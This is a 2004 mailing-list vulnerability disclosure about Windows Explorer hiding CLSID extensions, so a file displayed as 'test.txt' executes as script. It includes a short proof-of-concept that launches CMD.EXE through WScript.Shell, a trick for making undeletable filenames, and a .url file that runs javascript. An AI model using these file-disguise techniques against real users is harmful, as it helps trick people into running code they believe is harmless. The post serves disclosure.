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Message-ID: <20040707233724.41446.qmail@web25305.mail.ukl.yahoo.com>
From: labaiss2003 at yahoo.co.uk (Good One)
Subject: Microsoft hides certain types of files from your eyes + some filename parsing bug

Microsoft HIDES certain types of files from your eyes:
 
This one is old unpatched "behaviour" ...
 
If you will create in windows explorer file :
 
test.txt 
with content :
 
<script>
a=new ActiveXObject("WSCript.Shell");
a.run("CMD.EXE");
alert("Hello, I'm Silly Billy !");
</script>
 
It will be executed if you will add CLSID to it's name and user double clicks it :
 
test.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
 
Note: 
CLSID will remain hidden (explorer will not show it up in any means)
File name for user will remain : test.txt
 
This adds numerous possibilities for viruses to fool end user into safe content.
 
 
another filename parsing bug (system even cannot access it) :
By some technics windows still allows to write file on harddisk with funny name like :
 
test [good one :] .avi
 
End user will expierence certain difficulties to remove it afterwards from system.
 
It's name will change to "test [good one", it will have no extension, will show up 0 bytes etc, etc...
 
 
Of course .url and .lnk are hidden as well, being "shortcuts" in m$ way. The contents of those files are up to you ... :-) 
 
For example : file "test.url" with this content will open your browser with alert.
 
[DEFAULT]
BASEURL=javascript:alert('hello mama !')
[InternetShortcut]
URL=javascript:alert('hello mama !')
Modified=00027F010505010100
 
 
m$ is good for gaming, not for serious work..
 
 
- SomeMan.
 


		
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